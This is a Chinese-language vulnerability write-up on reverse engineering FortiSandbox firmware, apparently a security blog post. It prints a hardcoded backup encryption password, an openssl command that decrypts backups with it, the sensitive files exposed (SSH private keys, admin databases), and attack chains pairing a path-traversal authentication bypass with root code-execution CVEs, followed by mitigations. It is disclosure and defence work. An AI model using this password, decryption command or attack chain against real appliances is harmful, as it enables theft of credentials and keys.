Post

FortiSandbox 备份配置文件解密:固件逆向发现硬编码加密密钥

FortiSandbox 备份配置文件解密:固件逆向发现硬编码加密密钥

通过固件逆向提取 FortiSandbox 备份加密的硬编码密码,还原完整的备份解密攻击链

背景

在上一篇文章中,我们分析了 CVE-2026-39813(JRPC 路径遍历认证绕过),发现攻击者可以通过 backup/config 端点未授权下载 32KB 的加密系统备份。该备份以 OpenSSL Salted__ 格式存储,使用 AES-256-CBC 加密。当时我们提到如果能获取加密密钥,即可解密完整系统配置——但没有进一步深究。

本文将展示如何通过固件逆向工程,从 .pyc 字节码中提取出硬编码的加密密码,并实现对备份文件的离线解密。

摘要

  • 发现类型: 备份加密密码硬编码在 common/utils.pyc 的字节码常量中
  • 硬编码密码: BzklORFMUxD-b5PY1Dj3-nO(24 字符,所有未自定义密钥文件的设备共享)
  • 影响范围: 获得加密备份文件后,任何人可在离线环境下解密,暴露完整系统配置
  • 前置条件: 无需访问目标设备,仅需备份文件和硬编码密码
  • CWE 分类: CWE-321(使用硬编码加密密钥)、CWE-798(使用硬编码凭证)

逆向分析过程

分析目标

FortiSandbox 的备份/恢复功能由 /usr/bin/system-conf-recovery/ 目录下的 Python 脚本实现:

文件 作用 反编译状态
backup.pyc 备份主脚本 — 打包 + 加密 部分成功(需 pycdas)
restorestage1.pyc 恢复第一阶段 — 解密 + 解包 部分成功(需 pycdas)
common/utils.pyc 工具函数 — 密钥获取逻辑 完整反汇编

分析的核心问题是:AES-256-CBC 加密的密码从哪里获取?

第一步:定位加密命令

通过 pycdc -s(字符串常量提取模式)和 pycdas(反汇编)分析 backup.pyc,在 gen_conf_pkg() 函数中找到核心加密命令:

1
2
3
4
5
6
7
# backup.pyc -> gen_conf_pkg() 字节码常量
cmd = (
    'cd %(dir)s; '
    'tar cfz - %(in_file)s %(version_file)s | '
    '%(ssl_bin)s aes-256-cbc -salt -k %(pwd)s | '
    'dd of=%(out_file)s'
)

字节码常量表证据:

1
2
3
4
# backup.pyc [Constants]
6: 'cd %(dir)s; tar cfz - %(in_file)s %(version_file)s | %(ssl_bin)s aes-256-cbc -salt -k %(pwd)s | dd of=%(out_file)s'
7: '%s_%s_%s.conf'
8: ('dir', 'in_file', 'version_file', 'ssl_bin', 'pwd', 'out_file')

命令模板中的 %(pwd)s 即为加密密码的占位符。追踪变量来源,函数通过 escape_phrase(get_encr_passphrase()) 获取密码。

第二步:提取硬编码密码

get_encr_passphrase() 定义在 common/utils.pyc 中。通过反汇编字节码(偏移 0-130),完整还原该函数:

1
2
3
# common/utils.pyc [Constants]
1: 'BzklORFMUxD-b5PY1Dj3-nO'    # 偏移 0: LOAD_CONST 1 → 赋给 BACKUP_PWD
2: 'file_cfg_backup_key'          # 偏移 10: SETTINGS[key]

完整还原的函数逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# common/utils.py -> get_encr_passphrase()
# 字节码还原(CPython 3.10)

def get_encr_passphrase():
    BACKUP_PWD = 'BzklORFMUxD-b5PY1Dj3-nO'  # 硬编码默认值 (常量偏移 1)

    try:
        with open(SETTINGS['file_cfg_backup_key'], 'r') as f:
            BACKUP_PWD = f.readline().splitlines()[0]  # 读取自定义密钥文件
    except IOError as ex:
        if ex.args[0] == 2:   # errno.ENOENT — 文件不存在
            return BACKUP_PWD  # 回退到硬编码默认值
        raise                  # 其他 IO 错误继续抛出

    return BACKUP_PWD

密钥决策流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
get_encr_passphrase() 调用
    |
    +-- 初始化: BACKUP_PWD = 'BzklORFMUxD-b5PY1Dj3-nO'
    |
    +-- 尝试 open(SETTINGS['file_cfg_backup_key'])
    |   |
    |   +-- 成功 --> 读取第一行 --> return 自定义密码
    |   |
    |   +-- IOError
    |       +-- errno == 2 (文件不存在) --> return 硬编码默认值
    |       +-- 其他错误 --> raise
    |
    +-- return BACKUP_PWD

关键发现:当自定义密钥文件不存在时(errno == 2),函数静默回退到硬编码密码。在默认安装的设备上,该密钥文件很可能从未配置过。

第三步:分析解密流程

restorestage1.pyc 中的解密函数实现了两阶段回退策略:

1
2
3
# restorestage1.pyc [Constants]
4: 'dd if=%(in_file)s | %(ssl_bin)s aes-256-cbc -d -salt -k %(pwd)s | tar zxf - -C %(out_path)s'
11: 'dd if=%(in_file)s | %(ssl_bin)s aes-256-cbc -d -md MD5 -salt -k %(pwd)s | tar zxf - -C %(out_path)s'
方法 命令 说明
优先 openssl aes-256-cbc -d -salt -k <pwd> 默认 SHA-256 digest(OpenSSL >= 1.1.0)
回退 openssl aes-256-cbc -d -md MD5 -salt -k <pwd> MD5 digest(兼容旧版 OpenSSL)

OpenSSL 在 1.1.0 版本中更改了默认密钥派生摘要算法(MD5 → SHA-256),FortiSandbox 的恢复脚本通过 try/catch 自动处理这种兼容性。

第四步:理解 escape_phrase() 转义

密码在使用前经过 escape_phrase() 处理:

1
2
3
4
5
6
# common/utils.py -> escape_phrase()
def escape_phrase(phrase):
    ep = ''
    for c in phrase:
        ep = ep + '\\' + c  # 每个字符前加反斜杠
    return ep

对于默认密码 BzklORFMUxD-b5PY1Dj3-nO,转义后为 \B\z\k\l\O\R\F\M\U\x\D\-\b\5\P\Y\1\D\j\3\-\n\O。这个转义是为了防止 shell 注入,但由于默认密码仅包含字母、数字和连字符(都不是 bash 特殊字符),转义后的字符串在 bash 中等价于原字符串。

因此解密时直接使用原始密码字符串即可。

密钥管理缺陷分析

问题一:全产品线共享密码

密码 BzklORFMUxD-b5PY1Dj3-nO 硬编码在编译后的 .pyc 文件中,所有使用默认配置的 FortiSandbox 设备共享同一个加密密码。这意味着:

  • 获取任意一台设备的备份文件,即可用此密码解密
  • 一次固件逆向,永久有效(除非固件更新更换密码)

问题二:无法轮换

密码编译在 .pyc 字节码中,用户无法通过管理界面更改。唯一的自定义途径是创建自定义密钥文件(SETTINGS['file_cfg_backup_key']),但:

  • 该配置项来自 sysruntime 模块,普通管理员可能不知道其存在
  • 没有文档说明如何配置自定义备份加密密钥
  • 即使配置了自定义密钥,回退逻辑仍然保留了硬编码密码作为默认值

问题三:离线解密无防御

备份文件使用标准 OpenSSL 格式(Salted__ 前缀 + AES-256-CBC),密码通过 EVP_BytesToKey 派生。获得备份文件和密码后,解密完全在攻击者控制的环境中进行,目标设备无法感知。

CWE 分类

CWE 描述 适用原因
CWE-321 使用硬编码加密密钥 密码 BzklORFMUxD-b5PY1Dj3-nO 直接写在字节码常量中
CWE-798 使用硬编码凭证 同一密码用于所有设备的备份加密

实战验证

环境信息

从一台运行 FortiSandbox 4.4.8 的实际设备上,通过 CVE-2026-39813(JRPC 路径遍历认证绕过)下载了加密备份文件:

  • 文件大小: 26,224 bytes
  • 格式: OpenSSL Salted__(AES-256-CBC)

解密过程

1
2
3
4
5
6
7
# 方法 1: 使用项目解密工具(纯 Python,不依赖 openssl 命令行)
python decrypt_backup.py backup.conf

# 方法 2: 使用 openssl 命令行
dd if=backup.conf 2>/dev/null | \
  openssl aes-256-cbc -d -salt -k 'BzklORFMUxD-b5PY1Dj3-nO' | \
  tar zxf - -C output_dir/

解密输出:

1
2
3
4
5
[*] 备份文件: backup.conf (26224 bytes)
[*] 加密格式: OpenSSL AES-256-CBC (Salted)
[*] 密钥来源: 硬编码默认值
[*] 解密方法: SHA-256 (默认)
[+] 解密成功!

解密内容

成功解密出 44 个文件,以下为关键敏感文件清单:

文件 大小 安全影响
FortiSandboxGUIBackend.db 37 KB 主数据库 — 包含管理员账户、会话、扫描任务
FortiSandboxDevice.db 40 KB 设备注册数据库
user_authserver.db 80 KB 认证服务器配置 — LDAP/RADIUS 对接信息
gui_encryption_key GUI 加密密钥
ssh/ssh_host_rsa_key SSH RSA 私钥
ssh/ssh_host_ecdsa_key SSH ECDSA 私钥
ssh/ssh_host_ed25519_key SSH Ed25519 私钥
admin_profiles.json 管理员权限配置
password_policy.json 密码策略配置
system-mailserver 邮件服务器凭据
system-proxyserver 代理服务器配置
vmprofile.conf VM 扫描配置文件
filterlist.db 文件过滤规则数据库
conf_snmp.db SNMP 配置
sfmpd.db SFMP 守护进程数据库

最严重的后果: SSH 私钥泄露允许攻击者以设备身份连接其他系统(如果设备被用作跳板);数据库泄露暴露所有管理员账户和扫描任务历史;认证服务器配置泄露可能影响企业 AD/LDAP 环境。

4.4.8 与 4.4.9 对比

一个自然的问题是:4.4.9 补丁是否修复了备份加密机制?通过对比两个版本的关键 .pyc 文件:

组件 4.4.8 4.4.9 差异
common/utils.pyc (get_encr_passphrase) 硬编码 BzklORFMUxD-b5PY1Dj3-nO 硬编码 BzklORFMUxD-b5PY1Dj3-nO 完全一致
backup.pyc (gen_conf_pkg) AES-256-CBC 加密命令 AES-256-CBC 加密命令 完全一致
restorestage1.pyc SHA-256/MD5 双 digest 回退 SHA-256/MD5 双 digest 回退 完全一致

结论:4.4.9 补丁未修复备份加密机制。 硬编码密码在两个版本中完全相同,所有升级到 4.4.9 的设备仍然使用同一个加密密码。

组合攻击链

备份解密本身不是独立的 CVE,但与其他已发现漏洞组合后,可形成完整的攻击链:

攻击链 A:纯信息泄露(无需 RCE)

1
2
3
4
5
6
7
8
CVE-2026-39813 (JRPC 路径遍历认证绕过)
    |
    +-- 1. 构造 session: "../../tmp/" 绕过 JRPC 认证
    +-- 2. 访问 backup/config 端点下载 32KB 加密备份
    +-- 3. 离线解密: openssl aes-256-cbc -d -k BzklORFMUxD-b5PY1Dj3-nO
    |
    v
完整系统配置暴露(数据库、SSH 密钥、认证配置...)

前置条件: 仅需网络访问目标 HTTPS 端口,无需任何凭据。

攻击链 B:完整接管(含 RCE)

1
2
3
4
5
6
7
8
9
10
CVE-2026-39813 (信息泄露)
    +-- 下载加密备份
    +-- 获取系统版本、序列号、配置
    |
CVE-2026-26083 + CVE-2026-39808 (预认证 Root RCE)
    +-- 读取自定义备份密钥文件 (如果配置了的话)
    +-- 解密所有备份(包括使用自定义密钥的设备)
    |
    v
完全接管设备配置 + 持久化访问

在攻击链 B 中,即使管理员配置了自定义备份密钥文件(未使用硬编码密码),攻击者仍可通过 RCE 读取该文件内容,使自定义密钥保护失效。

缓解措施

立即行动

  1. 升级固件到最新版本(4.4.9 或 5.0.6+),修复 CVE-2026-39813 认证绕过,阻止未授权下载备份
  2. 配置自定义备份密钥文件(如果设备支持),避免使用硬编码默认密码
  3. 限制 Web 管理界面的网络访问,仅允许可信管理网络访问

纵深防御

  1. 检查备份文件访问日志,确认是否存在异常的 /jsonrpc/ 请求或备份下载行为
  2. 轮换 SSH 密钥对,如果怀疑备份曾被未授权获取
  3. 检查管理员账户,数据库泄露可能暴露管理员用户名和密码哈希
  4. 审查认证服务器配置,如果备份中包含 LDAP/RADIUS 对接信息,需确认相关凭据是否需要更新

长期建议

  1. Fortinet 应将硬编码密码替换为设备首次启动时随机生成的密钥
  2. 备份加密应使用基于设备序列号的密钥派生方案,而非全产品线共享密码
  3. 提供管理界面选项允许管理员主动轮换备份加密密钥

总结

FortiSandbox 的备份加密机制存在一个基础性的设计缺陷:加密密码以明文常量的形式硬编码在编译后的 Python 字节码中。这并非一个传统意义上的漏洞(如缓冲区溢出或注入),而是一个架构层面的密钥管理问题——当所有设备共享同一个无法轮换的密码时,加密的保护范围被限定在”密码不被提取”这一前提上,而这个前提在固件可获取的情况下并不成立。

更值得关注的是,4.4.9 补丁虽然修复了 CVE-2026-39813(阻止了未授权下载备份的路径),但并未触及备份加密的根本问题。这意味着即使攻击者通过其他途径获得备份文件(例如社会工程诱导管理员导出、设备退役时未安全擦除硬盘等),硬编码密码仍然有效。

该案例再次说明:加密的安全性不仅仅取决于算法的强度(AES-256-CBC 本身没有问题),更取决于密钥管理的实践。一个 256 位 AES 密钥如果被 24 个字符的硬编码密码所保护,其安全性等同于那 24 个字符。

参考链接

This post is licensed under CC BY 4.0 by the author.